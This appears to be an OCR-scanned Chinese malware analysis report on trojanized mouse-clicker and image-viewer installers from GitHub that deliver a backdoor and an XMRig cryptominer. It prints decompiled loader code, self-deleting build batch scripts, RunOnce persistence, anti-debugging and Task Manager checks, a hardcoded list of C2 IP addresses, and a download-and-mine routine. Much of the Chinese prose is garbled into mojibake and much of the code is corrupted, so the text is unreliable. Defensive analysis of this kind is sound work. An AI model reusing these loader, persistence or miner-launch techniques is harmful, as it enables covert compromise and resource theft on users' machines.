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A brand new cross-platform app written from scratch, The Fastest Mouse Clicker for Windows version 3, v3.0.0.0 has been released. Versions for Linux, macOS are
coming soon...

Changelog

* Written from scratch cross-platform 64-bit application utilizing Qt, libuiohook technologies.

* Various mouse buttons and wheel rotations can trigger key pressed events and vice versa.

* Supports random mouse clicking in both time intervals and screen coordinates.

* Ultimately clean Ul supports nice tooltip hint in the bottom right display corner while main window is minimized.

* Ideal for Roblox and Minecraft.

Download the MSI Windows Installer.

v Assets 2
[?) Source code (zip) Nov 15
m Source code (tar.gz) Nov 15
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build_by tcc64_all.bat llibtec_mainsved.c  sejentificUpdater *.exe

QmQrar
A — s DLL
m B BAT gy — Wﬁf% c_{c+ - FiE- EXE Wﬁﬁm DLL EE;‘;»
l ]
run_by tcce4 all.bat/

nreg_by_tcc64_all.bat ScientificUpdater *.exe osdmnus_uni_source.c dump.dll svcfdomma
BHFHET— s

. . Yo | | G
’7%]&—’ RAR

J’

L

i
UnRARO.dII
1
clean by tcco4 all.bat
MSIZ3 BT
FH RE

144 Installer_TheFastestMouseClickerv3 v3.0.0.0.msi

MD5 93C9C76F1AE704C49012D64FD403FD1D

SCHEZEL M)

SR/ 22.8 MB (23,973,888 F)

ER TSI RERfG %Tf%&?éﬁ%’ T %LOCALAPPDATA%\TheFastestMouseClickerv3\
(BIATEIRIZ) BRIFERE RRAIMER S FEFTheFastestMouseClickerv3. exe XX EA | Rtz
AMMST ML FE%LOCALAPPDATA%\ScientificUpdater \ L FRBCEEH Y.
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17 The Fastest Mouse Clicker for Windows version 3 Setup —

Click Next to install to the default folder or dick Change to mise ana

Destination Folder
Q@

Install The Fastest Mouse Clicker for Windows version 3 to:

IC:‘I.IJsers‘l.gg‘lAppDaE‘u_nml‘l,TheFastesﬂﬂnuseﬂlidf.ewﬂ‘l,

Change...

Back Mext Cancel
AppData » Local » ScientificUpdater » 1 w| ) T 1 hiEs
=FR B HE == Foih
InstallConfig.dll 2025/11/12 23:20 REEETE 121 KB
£ QmQurar 2025/11/12 23:20 RAR [EEit 2,046 KB
UnRARO.dIl 2025/11/12 23:20 AR R 134 KB
UnRARG4.dIl 2024/6/6 21:58 MEEETE 314 KB

MSIE I AIEITH A MNE%LOCALAPPDATA%\ScientificUpdater\1\3 K

InstallConfig.d114&3 , FIfInstallconfig.d11 BN
Z{%LOCALAPPDATA%\ScientificUpdater \ 1\ 4FHNEZ UnRARO . d11FEHR
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DWORD64* destPath = (DWORD64*)destPathPtr;

DWORD64* srcPath = (DWORD64*)srcPathPtr;

WCHAR dllPath[0x104] = { 0 };

HMODULE hD1l = NULL;

*destPath = *srcPath;

if (wcscat_s(dllPath, 0x104u, L"\\UnRARO.d11l"))
return 216;

hD1l = LoadLibraryw(dllPath);

if (!'hD1l)
return 224,

auto unrarFunc = (__int64 (__fastcall*)(DWORD64, _ int64))GetProcAddress(hDll,

"UnRARONInstall2");

return unrarFunc ? unrarFunc(paraml, param2) : 229;

UnRARO.dIIFESR 34T
FE NE

T4  UnRARO.dI

MD5 608A39C30AE84C2BAABEF879C63DB42F

SCfFEL DLL

XHFAR/N 134 KB (137,216 )

R4 Dropper.Agent!1.13AD7

&iE fit I et AR R S B A

UNRARG . d 1 1FER &R EFLR B RPHIOnQ. rar [E4a4, |, %A Aor turuyUTYE00I3746, XIE
BENBBZNC/C+BESMENIRARE , WHESER Pilzs LRI ixX L Rh R e dkeh g T

EEARAE,

if ( wcscat_s(v51, Ox104uLL, L"\\QmQ.rar") )
return 775LL;

if ( (unsigned int)sub_180002150(v50, v51, PathName, L"orturuyUTYEOOI3746") )
return 780LL;

sub_180001060(PathName);

sub_180001340(&FileTime);

UNRARO . d 1 1R SA R AR A build by tcc64 all.batEKgmiFEc/c++RHS
1libtcc_mainsved. cfRRB3H , RAAEAETNREMN MhRAMIScientificUpdater *. exe AT HATHE
F

e ScientificUpdater_s.exe (PAYLOAD_ FIRST)
e ScientificUpdater_u.exe (PAYLOAD_ SECOND)
e ScientificUpdater_z.exe (PAYLOAD_THIRD)
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e ScientificUpdater_c.exe (PAYLOAD BEGIN)

@echo off

REM Misx4BTE R TIAEFERNAIBITXA , /Pl , /QeiiiR=

del /F /Q *.exe > nul 2>&1

REM fi2id.c3fF , & Xupdate idFRrEE¥A , ATIRRENRBRAE

echo const char update_id[] = A"ScientificUpdater_1A"A; > id.c

REM B IEATgmiF 3 fFlibtcc_mainsvcO_copy.c

echo #define WIN32_LEAN_AND_MEAN > libtcc_mainsvcO_copy.c

echo #include A<Windows.hA> >> libtcc_mainsvcO_copy.c

REM ¥id.cHllibtcc_mainsvcO.cINFIB MR LRF 4+

type id.c >> libtcc_mainsvcO_copy.c

type libtcc_mainsvcO.c >> libtcc_mainsvcO_copy.c

REM {ERTCCYmFES (64147) JmFlUNARARAH AT AT M

_tccb4\tcc.exe -DPAYLOAD_FIRST -B_tcc64 -I_tcc64/libtcc -I. -L_tcc64/1libtcc -1llibtcc
libtcc_mainsvcO_copy.c manifest.res -o ScientificUpdater_s.exe

_tccé4\tcc.exe -DPAYLOAD_SECOND -B_tcc64 -I_tcc64/libtcc -I. -L_tcc64/libtcc -1libtcc
libtcc_mainsvcO_copy.c manifest.res -o ScientificUpdater_u.exe

_tcc64\tcc.exe -DPAYLOAD_THIRD -B_tcc64 -I_tcc64/libtcc -I. -L_tcc64/1libtcc -1llibtcc
libtcc_mainsvcO_copy.c manifest.res -o ScientificUpdater_z.exe

_tcc64\tcc.exe -DPAYLOAD_BEGIN -B_tcc64 -I_tcc64/libtcc -I. -L_tcc64/1libtcc -1llibtcc
libtcc_mainsvcO_copy.c manifest.res -o ScientificUpdater_c.exe

UNRARO . d1 1A YmFC/c++IRRIL 5 , ARMANIE S fFclean by tcce4_all.batiEIR4miFdFE
A R EIERS ST (B) 30, BIRTAREE EE MRS fFsdmnus_uni_source.c , &/afitdbiE 44
AT E BIbRIRIE.

@echo off

rename osdmnus_uni_source.c osdmnus_uni_source.dat
del /F /Q *.c

del /F /Q *.h

del /F /Q *.res

del /F /Q *.txt

rena

del /F /Q build_*.bat

(goto) 2>nul & del "%~fO"

UNRARO . d 1 IAEH SR RIEIRfE |, VARHLALIESCHFrun_by_tcc64_all.batiz{ 74w KK
A[PITFEFscientificUpdater_c.exe , IE{TERGHIESHESRIRE S,

@echo off
ScientificUpdater_c.exe
(goto) 2>nul & del "%~fO"

TEUNRARO . d1 1R A IR B AL IE S Hrnreg_by_tcc64_all.batfITHEE , AR HRIE
AREITmEL RN PITFEFscientificupdater_z.exe , IE{TER AN IESCHESRIGE S,

@echo off
ScientificUpdater_z.exe
(goto) 2>nul & del "%~fO"
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ScientificUpdater_c.exe43#T

FB RNE

X% ScientificUpdater_c.exe

MD5 0F941E310BD06D4A06A0A1429FEEOO2F
MR EXE

SR/ 151 KB (154,630 Z235)

TRE4 Trojan.Loader!1.13B7B

B/ Ywi%llibtcc_mainsvc0.c152|)

JE{RFS11ibtcc_mainsveo. iR /afiScientificUpdater_c.exedzx3NRER M S , TE
aTnE osdmnus_uni_source. cJRREBEINGEF , REmFBXERE , REENGFERRITMEE
RS,

s = tcc_new();
if (!'s) {
fprintf(stderr, "Could not create tcc state\n");
return __ LINE_ ;
}
tcc_set_lib_path(s, "_tcc64");
tcc_add_include_path(s, "_tcc64/include");
tcc_add_include_path(s, "_tcc64/1ib");
tcc_add_library_path(s, "_tcc64/1ib");
/* MUST BE CALLED before any compilation */
tcc_set_output_type(s, TCC_OUTPUT_MEMORY);
size_t my_program_sz = 0;
my_program = ReadCProgram("osdmnus_uni_source.c", &my_program_sz);

FEAR S osdmnus_uni_source.cERFFFHIMEMPERIT , APEI T EINEE R MEI TR

Payload,
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mov eax,dword ptr ss:rop+Ll-4y
mov word ptr ss:[rbp+1BA],ax
mov qword ptr ss:|rbp+1E&J,0
jmp osdmnus_c.7FF6D19D38CSE

mov rdx,qword ptr ss:|irbp+1D0J
mov rax,qword ptr ss:[rbp+1E8]
add rax, rdx

mov qword ptr ss:|[rbp+1a8],rax
mov rax,qword ptr ss:[irbp+1AE8]
movzx eax,word ptr ds:[rax]
xor ax,word ptr ss:|[rbp+1BAl xorfRs
mov edx,eax

mov rax,qword ptr ss:|[Irbp+1A8]
mov word ptr ds:[rax],dx

add qword ptr ss:[irbp+1EE&J,2
mov rax,qword ptr ss:|irbp+1ES]
cmp rax,qword ptr ss:[rbp+1C8]
ib osdmnus_c.7FF6D19D388B

osdmnus_c.exes AT

FB NE

N4 osdmnus_c.exe

MD5 1A789591EA4B6F19C7EA8F5225F89076

MR EXE

TR/ 151 KB (154,630 £3)

TRE4 Trojan.Loader/x64!1.13B7E

&% 774w i¥osdmnus_uni_source.ci5 %)

osdmnus_c . exefIF ENBER R ME Payload , WHDLLKMHE R, HETENEEF N
PUTXMRIGIZH T2 M9 A KAt SR %,
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for (size_t 1 = 0; 1 < i_out; i += sizeof(unsigned short))
{
unsigned short* pShortBuf = (unsigned short*)&buf_out[i];
*pShortBuf A= short_xor;
}
#ifdef _DEBUG
int tmp = WriteBinary("dump.dll", buf_out, i_out);
if (tmp !'= 0)
return tmp;
#endif
g_module = (void *)MemoryLoadLibrary(buf_out, i_out);

if (g_module == NULL)
return __ LINE_ ;
#ifdef _DEBUG

NfFPayload# 4T
FE NA
MD5 11560439276D0603BCF8FC18B5E12B11

SC#EE DLL

XA/ 1.16 MB (1,223,168 =£37)

R4 Backdoor.Agent!1.13B88

ZOLL B S N EF U T H R, & eR%o) AIRR S 2 481%™t A R AR A

scientificUpdater *.exeR]PYTIERF , BN S H BRBX NG EFEFF A & B R RIKHITH

(an¥afe. EEEH. 0. REEE) .

S BR 2K PR BF4
WinMainBegin PAYLOAD_BEGIN ScientificUpdater_c.exe

S R BTNRE

EERFOBY (ER
M. ¥EEUAPL, B2
3f])

WinMainFirst PAYLOAD_FIRST ScientificUpdater_s.exe

TEEREFTEHERN , #FX
1, FHFRWIT

WinMainSecond PAYLOAD_ SECOND ScientificUpdater_u.exe

N EPITXMRIGIZY
. BRIRE

WinMainThird PAYLOAD_THIRD ScientificUpdater_z.exe

IEM IR EH
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SH R WinMainBegins3 4T

BHTHRRE , BB RLtPe/ CPUMRER BIMEIZITER , WINEEAMWindowsi LR R R
BHEAURAIAWAPT,
// KMLdrLoadDl1 LR EBHFEN | HHANA LHHFE

if (!IsNtFunctionUnHooked(pLdrLoadDllAddr))
{

LogDebugInfo("Bootstrap.cpp : 242 : Bootstrap2CleanNtFunctions(Bootstrap PEB-
LdrLoadDll...): suspect LdrLoadDll() is hooked, g_LdrLoadDll = %016X\n");

LogDebugInfo("Bootstrap.cpp : 243 : DTRACEExit macro using ntAbort()\n");

TerminateProcessWithCode (OxF3);

3

// MPEBHRMTHRENLdrGetProcedureAddressek#iiit

pLdrGetProcAddr = GetNtFunctionAddress(pPEBContext, "LdrGetProcedureAddress");

if (!pLdrGetProcAddr)

{
LogDebugInfo("Bootstrap.cpp : 249 : DTRACEExit macro using ntAbort()\n");
TerminateProcessWithCode(0xF9);

}

// ¥MLdrGetProcedureAddress2AB#IEs , HIEHANIA

if (!IsNtFunctionUnHooked(pLdrGetProcAddr))

{

LogDebugInfo("Bootstrap.cpp : 256 : Bootstrap2CleanNtFunctions(Bootstrap PEB-
LdrLoadDll...): suspect LdrGetProcedureAddress() is hooked, g_LdrGetProcedureAddress =
%016X\n");

LogDebugInfo("Bootstrap.cpp : 257 : DTRACEExit macro using ntAbort()\n");

TerminateProcessWithCode (0x101);

HRELYRIKAE TR HEFTR S ERMsEAMRC.
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// FRERHEARRR AT PATICHIR S, INZRIRX B AT

if (GetModuleFileNameW(NULL, exeFilePath, 0x104u) >= 0x104)

{
LogDebugInfo("main_begin.cpp : 213 : DTRACEExit macro using ntAbort()\n");
TerminateProcessWithCode (0xD5);

}
// EHIHERZIRETX (0x208 NFEPXKE)
memmove (srcBuffer, exeFilePath, 0x208u);
/7 IR R X AT A TSR (OX5FAfEMTARR)
int parsedInt = ld_int(srcBuffer, Ox5F);
int tempInt = parsedInt;
/7 SRMTRTAFTED B SFHA L3R
if (!parsedInt)
{
LogDebugInfo("main_begin.cpp : 218 : DTRACEExit macro using ntAbort()\n");
TerminateProcesswWithCode (©xDA);

}

/] EENTEER B 2FREANFR's'
*((WORD*) (tempInt + 2)) = 's';
// EHIRERXBHERE HRE X

memmove (targetBuffer, srcBuffer, 0x208u);

BIERTIHAR , PITEEAIGR L.

memset (processInfo, 0, 0x18u);

// JAFiCreateProcessWEshife , EANGTARIE+S% , KK EEER

if (!R_CreateProcessW(appPath, &fixedParam, NULL, NULL, NULL, 134217792, NULL,
&currentDir, startupInfo, processInfo))

{
LogDebugInfo("main_begin.cpp : 249 : DTRACEExit macro using ntAbort()\n");
TerminateProcessWithCode (OxF9);

}

SR WinMainFirsta 4T

BUIEEZITHREEREFESEA
HKCU\Software\Microsoft\Windows\CurrentVersion\Runonce/ X} FRINF LINE B3,

if (!WriteRegistryRunOnceEntry(

regContextParami,
regContextParam2,
regContextParam3,
regContextParam4,
regContextParam5,
regContextParamé,
regContextParam7,
regContextParams,
regContextParam9,
L"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
regValueName,

regvValueData

)) {3
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KIMZITMRE B B1E64uwindows REE b |, FE M ARSIEHIEBE (AR A LIFAES-NI, CPURZ
. BIER/N. BEMNEE) .

LogDebugInfo("main_first.cpp : 422 : guarded_main_first(): check PC/CPU is strong
enough...\n");

LogDebugInfo("main_first.cpp : 424 : guarded_main(): isWindows64bit()? immediate exit if
no\n");

if (!IsWindows64BitSystem())

{
LogDebugInfo("main_first.cpp : 427 : DTRACEExit macro using ntAbort()\n");

TerminateProcessWithCode(427);
}
int availableCpuThreads = GetAvailableCpuThreadCount();
LogDebugInfo("main_first.cpp : 431 : guarded_main(): nThreadsToRun %d\n",
availableCpuThreads);

if ('availableCpuThreads)

{
LogDebugInfo("main_first.cpp : 434 : DTRACEExit macro using ntAbort()\n");

TerminateProcessWithCode(434);

BT BASESSfiRRLIA K R R SR B IEAREROmQ . rar RAEEI R osdmnusur 30, 18BIc2Z AR

/CA -

89435734899092373240923642313983499535232785|45.61.165.148|179.43.151.150|185.141.

216.185|72.60.143.139, XMBEIRISFEAZFF ERBAXFHIC2EER—E. aRosdmnusur3ff
R |, BRI Cc2E BN E N\osdmnusur T4,
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ReadFileData(L"\\osdmnusur", &fileDataBuffer, &fileDatalLength, NULL);

if (fileDataBuffer && fileDatalLength >= 4)
{
if (fileDataBuffer[0] == 51 && fileDataBuffer[1l] == 81 && fileDataBuffer[2] == 77 &&
fileDataBuffer[3] == 54)
{
const char* filePath = GetFullFilePath(L"\\osdmnusur");
LogDebugInfo("main_first.cpp : 673 : SAVE Bootstrap URLs from %s\n", filePath);

const char* bootstrapUrls =
"'89435734899092373240923642313983499535232785|45.61.165.148|179.43.151.150|185.141.216.185
|72.60.143.139";

char* processedBootstrapUrls = ProcessString(bootstrapUrls);

int urlStringLength = strlen(processedBootstrapurls);

WriteFileData(L"\\osdmnusur", processedBootstrapUrls, urlStringLength);
FreeMemory(processedBootstrapurls);
FreeMemory(fileDataBuffer);

}

else
{
const char* filePath = GetFullFilePath(L"\\osdmnusur");
LogDebugInfo("main_first.cpp : 657 : No *ur file: SAVE Bootstrap URLs from %s\n",
filePath);

const char* defaultBootstrapUrls =
"'89435734899092373240923642313983499535232785|45.61.165.148|179.43.151.150|185.141.216.185
|72.60.143.139";

char* processedDefaultUrls = ProcessString(defaultBootstrapUrls);

int defaultUrlLength = strlen(processedDefaultUrls);

WriteFileData(L"\\osdmnusur", processedDefaultUrls, defaultUrlLength);
FreeMemory(processedDefaultUrls);

BESLTOSRIEHS |, $ARE4RAD TP | (£ 443 SsORIMNEMEIRE | FHTIREFIE.
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LogDebugInfo("WeakRequestl.cpp : 206 : weak_request_api_1(): after 3s sleep, before
recv...\n");
int recvDatalLength = RecvNetworkData(socketFd, recvBuffer, 2048, 0);

if (recvDatalLength > 0)
{

int receivedBytes = recvDatalLength;
LogDebugInfo("WeakRequestl.cpp : 220 : weak_request_api_1(): after recv,
g_closesocket()\n");

if (CloseSocket(socketFd) == -1)
{
LogErrorPrefix();
LogDebugInfo("WeakRequestl.cpp : 225 : weak_request_api_1(): close failed with
error: %d\n");
LogErrorSuffix();
return 227;

b
b

B FEHAR , REFHARIR B AR BT R R AIRAE
BEE  fRITH B
20000 [EHLIRER (100RD+fEALE) EER RFRMERESERSFSFAIIIT LR
20001 IR& AR BREITRR (MFANERE)  BRERIT
9999 ik B ERTIRAE EERFEIEMN

if (R_CreateProcess(&unkParam, L"1 2 3", NULL, NULL, NULL, 134217792, NULL, &currentDir,
startupInfo, processInfo))

{

PostProcessCreateInit();
DWORD threadId = 0;

HANDLE hNewThread = R_CreateThread(NULL, ©, MonitorChildProcessThread, processInfo[0],

0, &threadId);
HANDLE hMonitorThread = hNewThread;

if (!'hNewThread)

{
LogDebugInfo("main_first.cpp : 1117 : DTRACEExit macro using ntAbort()\n");

TerminateProcesswWithCode(0x45D);

s

EEFARRRSERNFHENLARE SR , KNEBIHRANRL R , REBEE X

120000,
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if (IsProcessUnderDebugger (debugCheckContext, targetProcessHandle))
{
LogDebugInfo(

"main_first.cpp : 171 : MyThreadFunction():
BootstrapQueryInformationProcessForDebugger (lpParam):
g_TerminateProcess(lpParam, hCurrent)\n"

)i
R_TerminateProcess(targetProcessHandle, 20000);
R_TerminateProcess(currentProcessHandle, 20000);

if (IsProcessUnderDebugger(debugCheckContext, currentProcessHandle))
{
LogDebugInfo(

"main_first.cpp : 178 : MyThreadFunction():
BootstrapQueryInformationProcessForDebugger (hCurrent):
g_TerminateProcess(lpParam, hCurrent)\n"

)i
R_TerminateProcess(targetProcessHandle, 20000);
R_TerminateProcess(currentProcessHandle, 20000);

EERGEHRE , KINEBAESFEERFERARE  AAXARNRHE 7R , BREBEENX

+120000,
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while (true)

{
if (!stricmp(processName, "TASKMGR.EXE"))
return 1,
if (!stricmp(processName, "PROCEXP.EXE"))
return 1;
if (!stricmp(processName, "PROCEXP64.EXE"))
return 1;
if (!'EnumNextProcess(processEnumContext, &processEnumStatus))
break;
}
RELFHFRIREAD , AR FHFER G 20000 , (RIR/FEH=E.
TTcH+
if (processExitCode == 20000)
{
LogDebugInfo(

"main_first.cpp : 1167 : Problem reason_of_caller(cleanSleep(10000+)): just sleep
100s and goto LOOP_BEGIN, dwExitCode = %d\n"

);

int randomValue = GetRandomNumber();

unsigned int sleepTimeMs = 10 * (randomValue % 10000) + 100000;
SleepWithCleanup(sleepTimeMs);

ResetLoopContext(loopContext);

IR FHFERIR L RS 20001 , ITEMARERE , ARCEITTA , 1EKIRH,

// HIMHFRRE SRR 720001 (HRIZ{TREIRR)
if (processExitCode == 20001)
{
// FTENEGE : WINEIEEITIREEK
LogDebugInfo("main_first.cpp : 1179 : Exit on first run requested: dwExitCode ==
20001\n");
/7 FTENIRE BAEARR
LogDebugInfo("main_first.cpp : 1180 : DTRACEExit macro using ntAbort()\n");
// HIRHALA LR (Ox4E21XF N 133HH)20001)
TerminateProcesswWithCode(0x4E21u);

IR FIHAFERIREBE 49999 , MRS 28 £ TR ABIEEFE Fsvefdomwr . exe, JBIRIARRA
RS EIREE. ERESITA.
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bool isDownloadSuccess = DownloadFileToDisk(urlParaml, L"\\svcfdomwr.exe",
downloadContext);
if (isDownloadSuccess)
{
const char* timeStrl = GetTimeString(&timeInfo.tm_isdst);
LogDebugInfo("main_first.cpp : 1205 : Warning wget_http_to_disk2(attempt 1),
strModuleUrll = %s\n", timeStrl);

const char* backupUrl = GetTimeString(backupTimeInfo);
isDownloadSuccess = DownloadFileToDisk(backupUrl, L"\\svcfdomwr.exe",
downloadContext);

if (!isDownloadSuccess)
{
const char* timeStr2 = GetTimeString(backupTimeInfo);
LogDebugInfo("main_first.cpp : 1211 : Error wget_http_to_disk2(attempt 2),
strModuleUrl2 = %s\n", timeStr2);
LogDebugInfo(
"main_first.cpp : 1212 : Problem wget_http_to_disk2(update): just sleep
and goto LOOP_BEGIN, dwExitCode = %d\n",
exitCode

)i
¥
SH R WinMainSecond 434

100s

RSN EZEQ. rar E4aEH K svefdommaX | AR R — I XRIGIZHN T2/, 1&5
TR |, RIERSTTANERAZEY RE (fastBRELightiER) . IEPITEK , BHIF

FRIR[E B E R HAL9999 |, ZIR B AL N S H BR#winMainFirst KRG EFEF B FIIEE,
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// xmrig.exe %s --randomx-mode=%s -t %d -0 stratum+tcp://%s:%s -u 12345 -p X
int cmdLineLength = snprintf((char*)cmdLineBuffer, OxFFFu, cmdLineFormatStr, paramil,
param2, dataBuffer, strArray[1], strArray[2]);
int paramProcessResult = ProcessCmdLineParam(cmdLineBuffer, (const __ time64_t*)"-r 1");
int tempResult = paramProcessResult;
if (paramProcessResult)

*((BYTE*)(tempResult + 3)) = '9';
LogDebugInfo("main_second.cpp : 901 : cmdLine2 to pass into masha_main(): %s\n");
InitModuleContext(&moduleContext, runParam, cmdLineBuffer);
bool isModuleDecrypted = RunAndDecryptModule(

coreParam,

(const char*)strArray[0],

moduleContext,

(int)runParam,

L"\\svcfdomma",

(BYTE*)decryptBuffer,

initParam
)7
if (!isModuleDecrypted)
{

LogDebugInfo("main_second.cpp : 911 : bModuleDecrypted false - Can't decrypt - update

needed\n");
LogDebugInfo("main_second.cpp : 912 : DTRACEExit macro using ntAbort()\n");

NEMEPITIZV EFE |, BYaIfE R R mEEMRm
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce , SRINFFH. B BEhIRIE.

bool isRegWriteSuccess = WriteRunOnceRegistryEntry (

regFuncPtri,

regFuncPtr2,

regFuncPtr3,

regFuncPtr4,

regFuncPtr5,

regFuncPtr6,

regFuncPtr7,

regFuncPtrs,

regContextParam,
L"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
regValueName,

regValueData

);

if (!isRegWriteSuccess)

{
LogDebugInfo("main_second.cpp : 546 : LoadFromMemoryW(clean): failed

BasedNtCurrentUserCheckSetRegvValuewWStr (), exit\n");
LogDebugInfo("main_second.cpp : 547 : DTRACEExit macro using ntAbort()\n");
TerminateProcesswWithCode(547);
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S 4 ERHWWinMainThird 34T

FFSAG | 48N E FARIwindows i ORELE B IEAE .

*ntdllFuncAddrPtr = GetNtFunctionAddress(pebContext, funcName);
if (!*ntdllFuncAddrPtr)

{

LogDebugInfo("Bootstrap.cpp : 31 : DTRACEExit macro using ntAbort()\n");

TerminateProcessWithCode (0x1Fu);
}
DWORD funcMemSignature = 0;
if (!CheckNtdllFuncHook(*ntdllFuncAddrPtr, &funcMemSignature))

{

LogDebugInfo("Bootstrap.cpp : 37 : BootstraplNtFunction(): suspect PEB ntdll %s() is

hooked, g_%s = %016X\n");
UINT8* funcMemPtr = (UINT8*)*ntdllFuncAddrPtr;
for (int i = 0; i < Ox20; ++i)
LogHexByte("%02X", funcMemPtr[i]);
LogDebugInfo("\n");

LogDebugInfo("Bootstrap.cpp : 42 : DTRACEExit macro using ntAbort()\n");

TerminateProcessWithCode(0x2Au);

}

bool isFuncValid = VerifyNtdllFuncSignature(funcMemSignature);

TRBTEHE | BB A M RIRE.

const wchar_t* regValueName = GetRegValueName(regGlobalConfig);
if (!DeleteRunOnceRegistryValue(
regFuncPtri,
regFuncPtr2,
regFuncPtr3,
regFuncPtr4,
regFuncPtr5,
regFuncPtre6,
regFuncPtr7,
L"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
regvValueName
))
{

LogDebugInfo("main_third.cpp : 242 : LoadFromMemoryW(clean):

BasedNtCurrentUserDeleteRegValuewStr (), exit\n");

LogDebugInfo("main_third.cpp : 243 : DTRACEExit macro using ntAbort()\n");

TerminateProcessWithCode (OxF3u);

}

failed

LogDebugInfo("main_third.cpp : 246 : Success: key deleted: %s\n");

XMRIGIZH T2FF

FB RNE

MD5 E6DDE8SB35D053DFFE4113FOD4EAD4B47
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FB NE

SR

1.14 MB (1,196,032 3%

SC#EE DLL

RS

XMRIGIZH FEFFAE AR A A

XKMRig 6.21.0

Usage: xmrig [OPTIONS]
Network:
-0, ——url=URL
—-a, ——algo=ALEO
——coin=COIN
-1, ——user=USEENAME
-p, —-pass=PASSWORD
-0, ——userpass=U:P
-%, ——proxy=HOST:PORT
-k, ——keepalive
—-nicehash
——rig-id=ID
——dns—-ipvé
——dns-ttl=N
-r, ——retries=N
-R, ——retry-pause=N

—--user—agent

——donate-level=N

—-—donate-over-proxy=N
CPU backend:

——no-cpu

-t, ——threads=N
——cpu—affinity=N
-, ——av=N

——cpu-priority=N
—-—cpu-max-threads-hint=N
——cpu-memory-pool=N
—-—cpu-no-yield
——no-huge-pages
——huge-pages-jit

JE—

REXSHT

HackTool. XMRMiner!1.12867

: XMRIG 6.21.0,

URL of mining server

mining algorithm https://xmrig.com/docs/algorithms
specify coin instead of algorithm
username for mining server

password for mining server
username:password pair for mining server
connect through a SOCESS proxy

send keepalived packet for prevent timecut
enable nicehash.com support

rig identifier for pool-side statistics
prefer IPvE records from DNS responses
N seconds (default: 30) TTL for internal DNS cache

number of times to retry before switch to backup server ..
time to pause between retries (default: 5)

set custom user-agent string for pocol

donate level, default 1%% (1 minute in 100 minutes)
control donate over Zmrig-proxy feature

(needs pool support)

(needs pool support)

disable CPU mining backend
number of CPU threads, proper CPU affinity required for scme ..

set process affinity to CPU core(s), mask 0x3 for cores 0 and 1

algorithm wvariation, 0 auto select

set process priority (0 idle, 2 normal to 5 highest)

maximum CPU threads count (in percentage) hint for autoconfig
number of 2 MB pages for persistent memory pool, -1
prefer maximum hashrate rather than system response/stability
disable huge pages support

enable huge pages support for RandomX JIT code

e S, = T e T N e Tt m T eeremman

(auto), 0 ..

BT KEREMAIN , cithub LRI FPannhobf & BHIIE JPEGView-StaticF IR TIRE
Installer JPEGView-Static vi1.4.0.0.msifFfEE=FEF , WHFIEM _EAREF—3K,

FB

4

NE

Installer_JPEGView-Static_v1.4.0.0.msi

MD5

e46422b35007a3fd7906dd343f1d2254

AR/

3.75 MB (3,940,352 =)
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& annh9b / JPEGView-Static ' Public L Notifications | % Fork 12 W

<> Code (© Issues 4 11 Pull requests @ Actions [ Projects @ Security |~ Insights

¥ main ~ # Branches O Tags Q Gotofile About

JPEGView-Static Absolute Image Viewer
Acannct retrieve latest commit at this time. @ 76 Commits for Windows supports nearly ALL image

file formats, including too old and too
0 jpegview-static-post2024-vs2019-x64 new ones, so it is called Absolute.

M screenshots & github.com/annh9b/JPEGView-Static

LICENSE editor windows  jpg png viewer
D README.md Jjpeg dng tiff bmp webp tiny
' canon sony sigma nikon
favicon_large.png camera-raw fuji statically-linked

O readme.html [ Readme
[ repository-open-graph-template-out.png &8 GPL-3.0 license
A Activity

Github_E B— M FPfedericadomanilf Bt A AT adizs B Autoclicker2-Record-Play-
The-Lists-of-Mouse-Clicks , iZ3HE PIZERMSILZER
Installer_AC2RecordPlay_v5.9.10.0. nsiE SRR EELERFF ﬁﬂ(ﬁ%/fﬂ*ﬂiﬁ?@fﬂ_
é&o

FB NE

N4 Installer_AC2RecordPlay_v5.9.10.0.msi

MD5 6cf237de01fe084b92116431396e550a

TR/ 3.75 MB (3,940,352 )
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<« > C 25 github.com/federicadomani/AutoClicker2-Record-Play-The-Lists-Of-Mouse-Clicks
H federicadomani / AutoClicker2-Record-Play-The-Lists-Of-Mouse-Clicks  Public an

<> Code () Issues 7 17 Pullrequests 2 (® Actions [ Projects @ Security 1 Insights

¥ master ~ ¥ 1Branch © 33 Tags Q Gotofile

@ federicadomani Added new page - i18 FAQ in English, Spanish, Hindi, Traditional Chinese 2b64d99 - 4 days ago L) 250 Commits
I8 AutoClicker Add actual source code for v5.9.9.0 in the AutoClicker folder last month
I Installer Add actual source code for v5.9.9.0 in the AutoClicker folde... last month
8 screenshots_new New version 5.9.9.0: fixed issue #18; brand new MSI Windo... 2 months ago
[ README.md Added new page - 118 FAQ in English, Spanish, Hindi, Tradit... 4 days ago
D favicon.ico New version 5.9.9.0: fixed issue #18; brand new MSI Windo... 2 months ago
(B favicon2ico New version 5.9.9.0: fixed issue #18; brand new MSI Windo... 2 months ago
D favicon_256_source.png New version 5.9.9.0: fixed issue #18; brand new MSI Windo... 2 months ago
O windows.svg Add Spanish translations last year

ERRAT , BAIRIT R4 BARBNRERASE R UNRARD . d11IAR NG E4EBLQnQ . rar

] InstallConfig_dll 2026/3/3 15:56 v e 121 KB
| ] InstallConfigDll_ QmQ_rar 2026/3/3 15:56 BT s 2,056 KB
'] InstallConfigDll_UnRARO dll 2026/3/3 15:56 ri 134 KB
' InstallConfigDIl_UnRAR64_dll 2026/3/3 15:56 i 314 KB
"] MyAppExe 2026/3/3 15:56 i 327 KB
|| MyAppExe_license _rtf 2026/3/3 15:56 BT s 43 KB
|| MyAppExe AutoClicker2Ex_exe 2026/3/3 15:56 priis 313 KB

QmQ. rar EEBNEHEEFF_ERABLEL , A NESPITVRIGEY 257,
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BR

_tcciod
license.rtf
build by tcc64 all.bat
clean_by tcc64 all.bat
| libtec.dll
libtcc_mainsvcO.c
| ] libtcc1-64.a
llibtcc_mainsvec_payload.c
llibtcc_mainsvcO_payload2.c

MemoryModule.h
MemoryModule nih.c
osdmnus_uni_source.c
D osdmnusur

run_by tcc64 all.bat
D svcfdomma

“| UnRAR64.dIl
unreg_by tcc64 all.bat

EHE

2025/10/19 3:25
2026/1/16 417
2026/1/22 .28
2026/1/22 .28
2024/6/6 22:58
2026/1/22 .28
20071217 927
2026/1/22 .28
2026/1/22 .28
202477722 2:18
2026/1/22 .28
2026/1/22 .28
2026/1/22 .28
2025/10/21 5318
2026/1/22 .28
2025/9/29 21:02
2024/6/6 22:58
2026/1/22 0:28

semy

I
RTF &=l

Windows #t4hE...
Windows #t4hE...

